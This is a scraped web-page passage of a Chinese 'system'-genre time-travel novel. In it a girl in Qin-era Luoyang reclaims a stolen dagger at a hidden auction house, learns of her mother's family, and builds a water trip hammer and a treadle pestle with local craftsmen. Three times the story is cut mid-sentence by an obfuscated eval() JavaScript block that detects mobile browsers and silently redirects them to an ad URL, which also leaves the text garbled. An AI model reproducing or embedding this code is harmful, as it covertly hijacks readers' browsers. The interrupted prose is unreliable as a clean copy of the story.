小满等了一会儿，煦果然将那些东西卖出，换了一些普通品质的麦子和豆类。 用筐子装着背过来。 放好这些，煦告知道：“那边还有一些。稍等一会儿。”然后再次折回去。 小满继续等待，依着马车观察周围的当口，看到一个熟悉的人坐着车子朝鬼市里面而去。 等到煦回来，小满悠悠道，“喂，我看到那个季康了。这里面是不是有什么权贵消遣的地方？” “应该是。”煦朝四周观察了一下， “这里、是一处野市，随聚随散，每天只有一个半时辰开放。” “洛阳城豪族云集，虽被秦国攻下，奢靡之风未止，后来秦律施行，越发严格，不许饮酒宴乐，那些豪族享乐便转到暗中了。” 两人把车子停到荫蔽处，马匹栓到树上。 摸索着朝深处而去，没多久，果然有马车穿过鬼市，朝里走去，“跟上去。” 此时天色还是大亮，跟踪不好潜行，只是里面里巷曲折可以遮掩一二，加上后来车辙印逐渐统一并不难寻。 最后见着他们马车停进了一个宅院，下车继续往里面走去。 一路顺利尾随着进去，道路之曲折繁复，让小满觉得如果不是没有人严密把守，她会以为这些人在聚众造反。 直到过了一道垂花门，里面廊寰回转，假山活水，奇花异草，吐艳喷香，转过山去便是水榭长廊，不知何时起的淡淡雾岚包围着水中的楼阁，薄雾中传来熏人的暖香与丝竹之声。 “好香啊。”小满用力嗅了一下，好像是肉香味。 “你有没有看见季康？” 煦摇摇头，小满拉起煦的衣袖，“那便进去看看。” 走上水边廊桥，小满回头看去，这边好像是离设鬼市的村庄很远的地方了，她们走过的许多里巷道路沿湖而建，加上中间这么多距离。 这个湖在中间隐约隔开，形成屏障的格局。 走到阁楼之下，终于不是无人问津的状态，一个小二见有人来迎上来，“两位客人从哪来？” “洛阳。” “好勒，这边请。” 小二把人引到一处位置，一座楼有三层，一层二层隔了十数间都是雅间，隔着绢帛糊成的木板墙壁，两边都有草木挡着，朝里是歌舞升平，活色生香，朝外是湖光山色。 小小的斗室内已经摆着一坛酒，一个炭火炉。小满看见有火炉，直接道：“有肉吗？上些来。” “有。” 小二回答的干脆，但是动也不动。 直到小满疑惑的看过去，才道：“楼里有规定，客人先交五百钱，才能入座。” 小满嘀咕一声，“怪不得不看他俩年龄衣着就放进来了。” 还未跨入门口的煦闻言也不入内了，直接退了出去。 小满朝里走了走，拨了拨炭火，又嗅了嗅酒坛，确实能闻到淡淡的酒味，“你们这都卖些什么？” 小二倒是豪横，“酒肉歌舞，不让卖的都卖。最热闹的是每月望日，有鉴宝拍卖的集会，不愿意放在外面鬼市糟蹋的好东西，便会送到这里寻有识货的买家。” 小满问向旁边的煦，“今天是望日吗？” 没等煦摇头，小二回了一句，“当然不是，望日这点钱还进不来呢。” 小满有些失望，“秦国严刑峻法，看来这里果然是没落了啊。”拍卖行还要挣歇业期的钱，开辟第二产业？ “你说什么？” 小满摆摆手，“没什么。”然后指着中间歌舞表演的旁边问，“我不喝酒，坐那边吃，能少要点钱吗？” 小二冷笑一声，“呵，就知道你付不起钱。”然后拂袖而去。 忙了大半天有些饿了，小满掏出来能生吃的红薯凑合啃了两口。没过一会儿，走了一圈的煦回来，“二楼没有人，一楼止有六七座客人。” “不能确定是哪个吗？” 煦摇摇头，“有一座是北边燕国的口音，离得远些，其余都是洛阳口音的客座都安排在这边。”煦抬手指了指。 小满将一边准备给煦的红薯切开，加上自己啃剩下的，没沾口水的部分切了两片，一共凑了六片，在房内找了个木盘放上去。 “走，送礼物去。” 反正这种法外之地，闹大一点没事……吧。 于是就这样，确定有人的雅间，敲完门直接走进去，扫一眼确定没要找的人。 便微笑服务，以奉献奇珍之名，简单解释几句吃法，留下一块红薯，挥一挥衣袖，不带走一片云彩。 一楼雅间空间不大，进门便没有遮挡套间什么的，多是两三友人把酒言欢，隐私性也只能说有但不多。 所以当小满突然闯进去，没有被撞见机密谈话直接发怒的。 而且因为好友跟前，大部分比较有涵养，就算有压不住火气的，便速战速决只说送上一点礼物就离开了。 等送到第四间时，小满终于看见目标人物。 只是里面几人好像略有争执，两人手里争抢着一个什么东西僵持着，一点也没注意到她。 坐其身旁的人抱怨道：“季康，可是你说手里有奇宝，吾才带你来这鉴宝楼长见识的，连让仔细看看也不肯，太小气了吧？” 一起来的也开口附和，“就是，也太小气了。” 季康亦是气愤不已，“你说有鉴宝师能鉴定宝物来历制作技法，我才来的，现在只让这个人看个不停，鉴宝师何在？” 听到季康被众人所指，对面抢东西的人终于放开握着刀身的手。 “季康兄弟，我只是看看，又不是要抢你的，何必如此。” 小满看过去，那被两人争抢，拿布随便裹着的，正是她从系统兑换出来的匕首。 抢来的东西，还好意思拿出来炫耀。 小满忍不住跟着阴阳了一句，“就是啊，那也不是什么珍奇物件，我有一个一样的被人‘借’去两日了，至今还没还呢。” “你，你怎么就在这？”季康看见她好像见了鬼一样，敢怒不敢言。 季康对面的人倒是有点兴趣，“这样的东西，你也有？” “诺，这个在这，拿来切食物呢。”小满将匕首从腰间挂的刀鞘中抽出来，放在单手托着的木盘上。 之前拿来刮树皮，现在拿来切红薯，粥米布匹拿来换东西，小满觉得自己运用这些东西的方式还真是……没出息。 不过这些本来也是寻常物件，只是这个时代的人没那么幸运，不知道纸张，棉花，水果刀。 有机会的话，她会把纸张棉布钢铁，推广到每一个人身边，但不是这人硬抢的理由。 小满看向季康，“这位公子，你手里那把刀什么时候还给我啊？我这里还少一个切肉的匕首呢。” 季康故作镇定的将细布缠回原样，“你有什么证据证明，这是你的？” “这两个匕首出自同一人之手，材质形状相同，这还不够证明？” 她没说错，都是出自系统之手。 “不过是凑巧罢了，随便拿个外形相似的匕首便想套取别人的宝物，你如何不去骗虎符玺印？” 你这可真能嘴硬啊。 正在僵持，门口传来小二一声，“鉴宝师到。” 一个风度翩翩的青年走进门来，“诸位，郑某来迟，不知各位要鉴什么宝物？” 室内几人目光都集中在季康手中的匕首上，又转到小满手中的盘子上，最后还是落到季康身上。 “是这个匕首。” 季康看了眼小满手中的盘子，他不信这样的匕首世上会有两枚，那该是什么水平的锻造师？ 难道比越国的欧冶子还要厉害？ 看鉴宝师朝身后跟着的人说了什么，室内原本跪坐的人连忙让出一角位置，给鉴宝腾出位置。 鉴宝师接过匕首，用绢帛擦拭了一遍，送到眼前仔细观察着材质纹理，拿过身后人准备的不同材质试刀，又用手指弹了一下刀身，侧耳细听。 最后评价道：“这把匕首通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230777|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体银白，刀体沉凝，刃面锐利，声音清脆通透，实为不可多得的好刀。” 小满递上木盘，“不如再请看看我这把，可是出自同一人。” 鉴宝师看了会儿排列整齐的红薯，才将盘中匕首拿起来。以同样的方式鉴定一遍，才开口道：“两把匕首确实一模一样，不知出自什么人之手？” 不，准确来说，秦国最熟练的工匠用同一个模具做出的铜器都没有那么一样。 毕竟铜器浇筑以后还需要打磨掉外表合缝线等。 偶尔还会有未排出的气泡造成的坑洞需要填补。 听到这个宣判，原本房中知情的人都对季康投出异样的眼光，直把人看的低下头去。 鉴宝人好像无所察觉，继续赞叹，“能连续做出两把相差无几的匕首，一定是当世名家了吧？不知二位是如何得到的？” 小满笑眯眯的谦虚道：“机缘巧合，侥幸所得。” 鉴宝师见小满不愿意说也不勉强，转头看向季康，“不知这位公子是从哪得到的。” 看着季康一直盯着盘中并排的匕首，便举手将未带鞘的那个递给对方。 接过匕首的季康松了口气，站起来道：“吾还有事，先告辞了。” 眼看对方要逃走，小满抓起盘子里的匕首喝道：“喂。留下手里的……” 季康不听，只加快了脚步，然后就看到那人推开门口围观的客人，仓皇夺路时被守在外面的煦锁住胳膊，按在地上。 变故突生，作为主人的鉴宝师不得不开口，“来者是客，何必动武？你们莫不是来砸我楼里的招牌吧？” 口中说着解劝的话，鉴宝师仍旧原样端坐波澜不惊，还有闲心捏起盘中的红薯端详了起来。 “误会，只是一点私人恩怨。”小满也很无奈，这人敬酒不吃吃罚酒，她有什么办法呢？ “哈哈，”鉴宝师突然笑起来，他对刀和这个奇怪的礼物都很感兴趣，“你们都说这利刃为己有，不若说一说来历，让在下断一断是非？” 既然执意要问，别怪我给你编故事了。 另一边煦取回季康手里的匕首，押着人到了室内。原本来看鉴宝的客人继续将注意力放在鉴宝师那里。 小满一本正经开始讲故事，“很远的地方，有个靠近太阳的国度，那里的炉火温度能融化坚硬的铁，借着这种便利，才得出能造这种匕首的铁，称之为钢。” 鉴宝师弹响时已经了解了匕首的性质，反驳道：“据我所知浇筑出来的铁具坚硬质脆，并没有阁下手中铁器的柔韧。” “当然要经过不断改良啊。那个地方几百年前就能造铁，只是精铁百炼才能成钢，能造出这个品质的东西也不过是几十年的事情。” 只需要一点细节便能分辨真假，小满知道对方了解炼铁之事，只是添加其他金属非金属元素的事比较复杂，不是她一时半会儿能讲清的。 “慨赠匕首的那位系师傅，也只是讲了个大概，吾也不懂细节，所以说是偶然所得。” 她也不可能在这给一个陌生人讲解，万一被认为是不可多得的炼铁奇才，给她抓去窑洞里关起来炼铁怎么办？ 鉴宝师也不认为一个小女孩掌握的炼铁技法能超过韩国楚国的强弓劲弩，铁剑铁甲。 有了一个解释，便放弃了明面上的追问。 “那这名为地瓜之物也是侥幸得到的吗？” 鉴宝师看向门外围观的其他客人，示意。 “刚刚我过来已经有两位客人问我这赠送的地瓜是何物了。” 还有一个客人在研究地瓜怎么吃，迟了一会儿才出门来围观这边的热闹。 此时听了一阵半懂不懂的炼铁，感叹一番之后，也比较关心地瓜的问题。 “对啊，郑楼主，送的这个地瓜什么来历，怎么吃啊？” 毕竟是她惹出来的麻烦，小满朝被她打扰的客人躬身行礼，耐心解释道：“地瓜就是与藕一样，长于泥土下的瓜果，可以烤着吃，用甑蒸着吃，用鬲煮着吃，生吃也可，其味甘，熟了之后是软糯的口感。” 郑楼主十分感兴趣的让小二搬来鬲与火炉，放在外面开阔的地方，开始尝试庖厨之事，其他客人也将分的少的可怜的红薯拿过来一同尝试。 小满看着已经放弃挣扎的季康，小满拿过煦握在手里的匕首。 确认是自己从系统兑换出来的。 “还抢不抢东西了？” 匕首在季康眼前晃了晃，递回给煦，“送给你了。” 看着季康匕首在眼前晃晃就吓得闭上眼睛的怂样，小满让煦将人放开。 反正对方也做不了什么妖，她不跟未成年计较。 8. 08水碓 地瓜烤好，那个郑楼主率先切开吃了一块，连连点头。 其余客人也都纷纷尝试，或许的确新奇，都是交口称赞。 小满看没出什么纰漏，季康与他同行的好友已经离开，事情解决，时间也不早了。便打算离开。 没走出门，便被之前的小二拦住了，“两位客人，我们东家有请。” “你们东家是谁？”小满不记得认识这号人。 小二不语，只是带路，直把二人引到表演舞台后面的房间。 舞台中间的表演已经告一段落，伶人们聚在一起。一边嬉笑玩闹，一边互相教授指导着音律动作走位。 小满走进略显隐蔽的房间，不是很意外的看到刚刚还在人群中谈笑风生的鉴宝师，跪坐在桌案后招呼她上前。 “月儿。你怎么会来这儿？” 小满确定自己对这人没有印象，难道是原身以前认识的人？ 可她继承的原身记忆里父母的样子都很模糊，自然不可能有这个人的身影。 小满开门见山，“郑……楼主，你认识我吗？” “那时你还小，或许不记得，一转眼就这么大了。”郑楼主语气带着感慨，“按辈分你该叫我一声舅舅。” 哪有一上来就认亲的？ 小满低头，苦苦思索无果，带着些亲近问道：“舅舅，你真是我舅舅？” 郑造一时不知该怎么给她解释家族过去之事。 “不知道你母亲与你说过没有，我们家原本是周王室之后，是安王之后分出来的小宗， 后来秦国日益强大，重压之下，分封出来的东周西周公国总有内斗，想让自己的土地多一些。” “甚至周天子在洛阳王城都住不安稳。我们的祖辈父辈求存思变，便分出一支隐姓改名到其他地方生活。” “我便是分出去的那支，如今在韩国郑地，从事着商贾活动。 后来东西周二公国陆续被秦所灭，伯父他们不知出于什么原因，西周公国献降之后，便有意依附秦国，便将庄子产业献给了吕不韦。” 姬夫人也是一开始被心怀沟壑的吕不韦迷惑了，与之有了纠葛。 逻辑清晰过程明确，符合她所知道的信息，只是她脑子没有这部分记忆，补不上这部分插图， “我实在记不得了，我们什么时候见过。你是怎么认出我的？” 这小孩还挺机灵。 郑造微微笑起来，“东周覆灭后不久，我们就与伯父取得了联系，最近一次见你也是一年之前了，还只是远远看了一眼。” “你身上的玉牌，是你母亲留给你的吧？” 郑造点了点颈下，“那原本是家里给她，让她想离开时，来找我们的信物。” 小满喜欢一些花里胡哨的小饰品，这种金玉制成的，又带着某些说不清寓意的小玩意，更是不可能放弃。 虽然她的腰带只是孩童普通的带子，没有挂饰品的暗扣，她犹豫了一下还是穿了个绳子，非要带上了。 小满基本确定对方说的七八成是真，只是不知道对方如今相认，目的是什么。 小满索性直接抛出最后的问题，“舅舅，你知道我的母亲去哪里了吗？” 她这些日子发现，原身母亲并没有去世。 古代人口中离得远是真的离得远，离开了也只是字面意义上的离开了。 姬夫人身为贵族之女，年轻貌美，跟了个中年大叔，又被冷落不闻不问，过不下去跑路也正常。 如果真像他说的那样，对方一定知道她母亲去哪里了。 “我只打探到，你母亲，她是与朋友一起走的。”郑造摇摇头，“我并不知道她的去向。” “多谢舅舅告知这些。”小满躬身行礼，如果不清楚这些她会觉得自己或者原身只是被抛弃了。 如今知道个大概，倒是能理解那个女子的想法，这动荡时代，生命波澜起伏，中间夹杂太多难以言明的东西，母亲不是抛弃了她，只是顾不上她了。 虽然不会对她产生根本性影响，也能让她抛开那些杂念干扰，为自己而活。 郑造微微一笑，“那你现在该告诉我，来这里有什么事了吧？是不是有什么事情要舅舅帮忙？” 没什么事，只是跟踪一个不识好歹的小子才误打误撞来的。本来还说这么深入的地方，进来过于顺利，原来是玉牌让她一路绿灯。 她现在正在逐渐适应这个时代，并没有换个地方生活的想法。 打算建造的水碓虽然有春季禁止伐木的阻碍，但那边是吕不韦的庄子，不好拖累刚认下的亲人。 小满摇摇头，“舅舅在韩国是做铁器生意吗？” 战国时虽然重视山林矿产，还没有开始盐铁专营，民营盐铁还是比较兴盛的。 “你如何知晓？” “猜的。” 无他，这人在这里开楼阁鉴宝，其他的宝贝可以说是贵族生活见多识广。 对铁器这么了解，不是从业者，很难解释。 郑造叹气，“韩国虽有强弓劲弩，然而地小力微，终究难以抵挡秦国铁骑。” 所以他家虽在韩国数十年，小有基业，还是将那些抛舍脑后，回到洛阳联络旧亲故友，又开设这湖边楼舍接应各方，图谋着长远天地。 今天便有一位燕国来的客人，因为燕太子丹入秦为质，而来到秦国。 秦王政与燕太子丹曾同寄居在赵国，如今当初的秦王孙已经成了大王，幼时的友人却又来到他的国度，成为质子。 真是命运的无常。 小满听着对方对秦国的愤懑，不由猜测，难道阁下是反秦义士？可她对这种大业并没有兴趣啊。 小满微笑点头，郑造看着小满懵懂无知的年纪，“我让人送你回去吧。” 小满和煦被人直送到村子外面，鬼市已经散去。两人从角落处找回马车，驾着离开了村庄。 煦将粮食运回家里，又将马车送回后院，等小满回到住的地方，天色已近黄昏。 扬看起来有点担心着急，又不知该说什么，“月儿，下次出门之前，告诉吾一声好吗？” “对不起，阿姐，害你担心了。” 小满眨眨眼睛，看着蹲下身跟她说话的扬，幸福的拥抱上去。 “下次一定。” 接下来几天，小满每日来到小河边，查询资料，测算水深流速，河流宽度，等数据。 同时运用系统给出的公式，计算着要建造的水碓的高度，轮轴长度，所需拨板木板的长宽。 给出大致数据，计算所需木料。最后得出，除了底座还需要两三棵三丈余长的木头。 确定好后，小满用这个时代的秃毛笔改良了一下，把系统面板上画好的效果图，在棉布上画出来。 然后在裁短的布上画出轮轴拨板的尺寸要求和榫卯位置。 花了几天时间做好准备工作。 小满把系统里小点的布块，兑换成粗硬耐磨的牛仔布，带去工匠旦家，顺便询问弄到足够木材的法子。 原本拿出牛仔布，工匠旦接过还漏出些笑意来，客气几句。 当拿到画着尺寸棉布时，脸色凝住了些。 “怎么？” 工匠旦眼神复杂的瞅了小满一眼，“贵人的画有些复杂，俺还要再琢磨琢磨。” 因为不在官府工坊供职，旦平日做的活杂些，木匠石匠甚至泥匠都有涉猎，有时服劳役也会被官府征召。 做为有经验的老工匠，不至于看不懂简单的平面示意图，只是以往工作的模型都是在脑子里存着，这一下转变得有点复杂。 两人来到河边，小满说清约需的高度，和其中木板的大小，工匠旦算了一下，果然得出一个差不多的预算木料。 工匠旦问道：“你备好木头了吗？这时候不让上山伐砍，要是去买恐怕会有些贵。” 她兑换的一两金子，还没花出一分，“钱不是问题。” 然后工匠旦给她讲了一下，因为秦律的规定，一些需要木料的就会在夏秋天入山砍伐，比如烧火的木柴，建房的梁木，或者上了年纪的人家，备用的棺木。 比如她便宜父亲的禁苑，比如本地伍老。 在这样的指点下，小满带着护卫去庄苑搜刮了一圈，差点在长命百岁的祝福声中搬走了人家寿木的情况下，最后在林长和禁苑啬夫的联手示意下，在禁苑的水渠中找到了不知多少的，浸泡备用的大木。 万事俱备，没过几天，工匠旦不知从哪拉来了几个自带学徒的匠人，开始了热火朝天的木工匠作。 小满画着效果图的棉布被贴在一木板上并用一些特别的方法标明了尺寸，其余的都弃之不用。 是不是尺寸图上的数字不认识啊？小满一拍脑袋觉得习惯性的用了阿拉伯数字，有点欠缺考虑。 在小满想要指手画脚教他们使用方法的时候，工匠旦表示我们有自己的节奏，你别管。 一定会弄好的，若是太闲一边玩水去吧。 不到一个月的功夫，木料切割掏洞风干刷油都处理完了。 等做好的水碓放到木架上，随着水流冲击，拨板受力缓慢转动，横轴上的短横木压动碓梢，带动杵头规律的落下击打石臼时，一些年轻的工匠学徒都欢呼雀跃了起来。 相处了些日子也算熟悉，其中一个年轻的工匠禁不住问：“贵人，这是用来舂米的吗？” 另一个反驳道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230778|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建这么大的木轮只为了舂米，不如让隶臣妾来做呢。” 小满，“……”。 不是。但也可以用。 利用水力本来就是为了节省人力。 小满日常所用，就算不是系统出品也是别人弄好了送过来的，对于手工舂出来的米，在她这的印象只是有稻壳糠皮等杂质，并不知道背后的辛苦。 东周开始，洛阳周围普遍种植了麦子，但是这个不磨成粉，做成面食难以适口。 洛阳作为周留下的繁华之地，加上洛水灌溉之功，依旧种有许多稻粟稷等需要脱壳，但比较适口的作物。 有些地位的人也更愿意吃这些好东西。 其实这个时代，为宗庙祭祀舂米和砍柴一样，是作为一种刑罚存在的，称为白粲，鬼薪。 小满想起资料里有一个叫联机碓，“若是舂米，横杆可以加长，多连几个杵臼。” 她当时只想着以她目前能做到的生产效率来看，这一个杵臼都不能充分利用，就没想到多加几个。 小满回忆着资料内容，手指虚空在横木上不同位置点了点，“短横木放在不同方向，杵臼轮流击打，也能保持平衡，减少磨损。” 说着小满想起来更多的内容，让人把杆板拨开，把杵臼卸下来，示范道：“若是造不起水碓的人家，可以用这样一个横架，一个杆，做成踏碓，亦可以省力不少。” 小满让人抬起木杵调整位置和高低，形成了一个木架杠杆，最后在差不多的位置让人去踩。 小满道：“这是水车所用，自然伟力无穷。若是人力去踩，这个杆子要更长一些。” 简单的杠杆原理，看的一些人连连点头，一些人似懂非懂。 只可惜现在只余一些零碎的木料，没法再做一个踏碓。 接下来半天时间，他们又按小满要求做出了抄纸的木框木帘，几个可活动拆卸的框，这些都交给了学徒去做，三五个老工匠就坐在一边谈笑，看着指挥。 直到磨磨唧唧的收工，小满算好工钱，让煦拿出金子兑换的铜钱一一分发。 晚间想着制作踏碓的事，小满去舂米的地方看了一圈，自己尝试抡起沉重的木杵，发现果然不太是人干的活。 现在已经快到四月中旬了，山林禁伐该是解禁了，若是顺利，正好农忙之前做好。 第二天，小满刚忙完一阵，准备放松心情，查看自己种下的甘蔗，盘算着红薯和土豆可以育苗了，刚打算看看积分，可以换多少土豆种，就听到有人来叫自己。 跟着来到河边，看到那些干完活的工匠又带着一群人在那忙着什么。 小满走近之后，之前那个年纪最大，胡子都白了的工匠，道：“贵人，依老朽看这木轮不够平稳，不如让人把这一段挖去泥沙，增加水势，平整河底铺些碎石，垒上石壁归束水流，再在前面布下木栏堵挡杂物，你看是不是好些？” 小满点点头，好些是好些，就是太耗费人力，而且你哪拉来的这些人啊？ 学徒在旁边小声说，这些是本县服更役的，本来是给吕相邦修禁苑的，但是一时木石不够，索性都拉来干点修渠的活。 那些工程不是都有工期吗？拉她这里算怎么一回事儿？ 工程完不成她又不能抗雷。 知情的工匠旦则露出雷你已经扛了的表情，“少了的木料被运到这里了，上好的松木，结实，不怕水泡。” 事情已经这样了，无力回天，小满麻木的看着他们用运来的石头堵塞河道，等水流少了搬开水碓，然后挖掘沟渠，干的热火朝天。 自己则被拉去看一个木头，“你觉得这个木头造踏碓如何？” 好，长度粗细都好。 小木头直溜又光滑，造好了甚至可以拿来当景点用的。 踏碓人力这边臂短，杵头那边臂长，按理说是费力杠杆。可是一不用弯腰伸臂将重物提至高处，二可以用自身重力去压杠杆。所以才能广泛运用。 小满根据系统提示，用这时代普通成人身高体重力气，杵头重量得出杠杆比例，在适当的位置开孔钻入硬横木，中间的横木滚动作为支点，安全性更高一点。 造成之后，小满简单解释了一下原理，人群之中有人小声说了句，“学说好似与墨家相关。”被人群淹没。 小满听到愣了一下，她倒是不知晓墨家还有这方面的论述，还是阿基米德的“给我一个支点，我就能撬起整个地球”言论，更有煽动力。 不过有时候老祖宗的智慧确实令人惊艳。 很难想象，后世你九年义务教育学习的知识，几千年前的时候，已经被前人掌握应用，并总结成经验。 虽然语言古朴，依旧传递着那股精神。 9. 09育苗 踏碓是以自身重力去压杠杆，以小满不足五尺的身高，还是有点勉强。 不过附近一些经常在家，或到官府服役时舂米的男女，试过都说很好，省力不少。 看着东西没有问题了，小满从人群中走开，一些脑子活泛的妇人，已经拉住熟识的工匠，让给自己造一个踏碓来用了。 河边修渠也按计划进行，做出的成果将比她预想的还要好。 小满走到浸泡麦秸和树皮的池边，再看看边上还有两个空着的池子，考虑要不要扩大些规模。 思虑之间，这几日做活的几个工匠与工匠旦，来到她身边。 拉人来给她修渠的老头二话不说，先躬身给她行了个礼，然后才道：“贵人，我等想将踏碓水碓之法献于工坊县丞。 数年来，秦国在蜀郡，关中修渠引水利，灌溉农田，如今已经肥沃了不少土地，这两样工具既能取用水利，又能节省人力，若能推于民间，必将大有裨益。” 小满吓了一跳，连忙避开，听完心中暗叹，原来打的是这个主意。 这些人主动性居然这么高，不但想着主动献上去，还想着推广民间，施惠于民。 为了让她答应，还主动拉来人手修渠，造好踏碓。 “哈哈。”小满笑着虚扶住老头，“老先生大义，这些东西都是各位所制，小满不敢居功。” 这种好事她怎么又会不答应呢？毕竟本来就是取材于古代劳动人民。 其实没有她，这些东西在历史上也会被人发明创造出来。 小满朝各位尽心尽力的工匠颔首，“还要感谢旦将各位聚集，集众人之力才能完成。小满不过动些嘴皮子罢了， 如果各位非要推功于我，那这个造好的踏碓便当做回报吧。” 那踏碓造出来一是为了示范，二是来探小满态度，介不介意自己的技法公诸于众，或为别人所用。 这也算不上狮子大开口。 几位工匠听到这要求，连声道：“当然，当然。” 后面还有的工匠比较贪心，“在下还想问，贵人之前说的连机碓，有何不同。” 问得好。小满抬头望过去，发现是个年轻的工匠。 “正好我还有些细节想与各位探讨。请这边说话。” 东西完成之后才发现还有太多能够改进。 之前的棉布已经被收起来了，木板支架埋在地下，还没来得及起出。 小满拿着炭笔在木板上面写画。 介绍加长横轴的连机碓，和与水碓差不多构造的筒车，以及一些因地制宜的建设思路。 比如官府用来舂米粉碎的水碓可以加盖屋顶，阴雨太阳天气都可使用。 比如水流湍急或者不同季节水位变化的地方可以引出水流，制造水碓，防止水车被涨水损坏。 直到小满把知道的改进点说了一遍，那边围观踏碓的人也逐渐散去。 眼看人群渐稀，老工匠压抑不住激动的问，“不知贵人是从何学得这些……巧夺天工之奇技？” 在他看来，一般人被户籍困于一地，能见识到的少之又少。 就算豪富之家学习诗书，除此之外，加上杂学广博，习读《周礼·考工记》《墨辩》等书，如此因地制宜的考量，也必然是行万里路的专工之人，甚至是垂垂老矣的大家。 如此年纪，实在令人不可思议。 现在来探底是吧？不过这些迟早都是个问题。 还是继续讲故事吧。 小满微微一笑，“这些都是小满偶然得到一位老师指点，从老师所授的几部书里看到的，” “那位老师走遍六国，见识广博，据说这些书是老师从乡野古迹中所抄录，其中也记述了许多见闻，集齐了先贤智慧。” 小满略带几分遗憾，几分不愉的讲述，“可惜那书太过珍贵，老师不曾留下。或许是在其他地方传于民间，收徒授徒。” 毕竟现在她也拿不出所谓的书来。只能说，都是那不存在的老师拿走了，至于自己，还是假装过目不忘吧。 有系统帮助，应该也差不多达到类似效果。 见小满因不能得到传书而怏怏不乐，几位长者开始安慰，“贵人不必介怀，尊师也是造福黎民。” 一边暗叹，为何没留下抄录本，书值钱竹简又没那么值钱。 这边授课完成，诸位工匠或留在河边监工，或各自散去记下今日所闻。 小满让人把做好的踏碓放到自己住的地方附近，舂米的碓坊里，固定完成就可以使用了。 固定之后，有好事者想试试效果，便搬来了未脱壳的稻谷，放入石臼。 放任这些人去忙活，小满来到种下甘蔗的位置，一边假装查看甘蔗，一边打开系统光屏。 不到一个月就该是收获麦子的时节了。 秦汉时没有玉米棉花，水稻多在南方种植。 麦子没有一年多种的条件，收割完成之后，接着种下的是黍和粟，如果休耕会种些豆子，即菽。 现在温度上升正好是培育红薯和土豆育苗的时候。 拖到现在也是因为，温度低时种植这些娇贵的植物，需要地膜覆盖，保温保湿。 小满查了一下，这种新鲜物件一丈长要一百积分，实在用不起那玩意。 以现在的温度，如果嫌麻烦，甚至已经能在土地里育苗了，即使温度偶尔降低也不会被冻伤。 不知道现在积分能兑换多少种子。 之前按系统任务采集植物，加上这些日子的签到约有一百三十积分。 加上签到奖励获得的稻草木柴食盐食用油麦子，用不到的卖出，能凑到四百三十积分。 系统商城里，作为种子的土豆红薯，价格是三积分两斤。 这四百多积分能买二百八十多斤，如果平均来买，加上采集奖励的红薯土豆种子，理论上讲也就够种两三亩地的。 十分符合她现在的耕作能力。 就这两三亩地，还要一帮人来帮她种植。 没有现代机械辅助的情况下，她一个人能完成的概率不说不大，基本没有。 即使有现代机械，不是那种专门制作应用不广泛的挖掘类机械，种植收获土豆红薯这种深埋地下的块茎类，能起的作用也有限。 只能在翻地的时候用。 秦朝平民一家五六口人，能耕种百亩之田，她身边围着一群女使侍卫，充足的人力，这么好的作物种子，却只能种两三亩，岂不暴遣天物？ 虽然系统是按现代的计算单位，这两三亩约等于秦朝的十多亩地。 还是不够。 自然界很多植物结出的果实，既可以是吃的，也可以作为种子，坚果如此，块茎类也是如此。 小满翻开作为食物的那一栏，里面有稻米面粉，食盐食用油，还有土豆红薯……这里的物品价格，比作为种子的那部分要便宜上不少。 一积分就可以买两斤。 小满已经拿之前签到获得的红薯实验了一下，覆盖湿润的沙土，放在温暖的地方，可以发出嫩芽。 小满从种子栏和食物栏分别兑换出来了两斤红薯，种子栏的红薯附带了一小包基础肥料，黑色的细颗粒状。 除此之外，从外表看没什么区别。 从物品介绍里，小满知道稻米麦子的高产种子都是杂交品种，虽然能亩产近千斤，如果兑换出来种植收获留种，用不了几次轮回就会发生分化退化。 块茎类是自体繁殖，没有分化的困扰，只是发芽率，种苗强弱，仍有优劣之分，需要留下优良品做种子。 盘算一番，小满决定，如果有足够的土地，尽量多兑换作为食物那一栏的土豆红薯。 可以少量兑换种子栏土豆红薯，一同种下作为对照组查看产量优势。 毕竟随着后续发展，这些种子不能总从系统中拿出来，她拿出的那些种子物品会在这个世界生长演变，然后在无数黔首的汗水中发芽长大。 到那时候，无论是强是弱，是优是劣，恐怕都不会由她或系统决定。 小满决定好接下来半年的种植大事，开始认真查看跟前的甘蔗，发现已经长有半人高了，甘蔗茎节在甘蔗叶下若隐若现。 看了一会儿，浇了点水。 刚放下水瓢，忽然听到一声欢呼。没过一会儿，一个女子从门外奔进来，“主君爱我，这踏碓真好啊，省时又省力。” 然后一边说着爱呀，高兴呀什么的，一边几乎把小满提起来转圈圈。 脚下腾空，小满绷着身体，半懵半吓中，听到系统一声：【叮】 【恭喜宿主完成制作踏碓水碓，获得二十积分，解锁初级农具图纸】 【宿主传授知识，获得“相谈甚欢”，“心悦诚服”成就，影响力加十五】 可惜力气不够，抱着转了几圈放下，小满盯着对方欲言又止，“你……” 女子是照顾她的侍女之一，估计工作在碓房舂米比较多，此时一脸羞涩的行了个礼，“多谢小主君的踏碓。”飞快走开了。 这消息传递出去，直到夜间那碓坊里都没有断过人。 毕竟别处虽有杵臼，踏碓就这一个，主人家又没阻止，凑热闹也得尝个新鲜。 三天之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 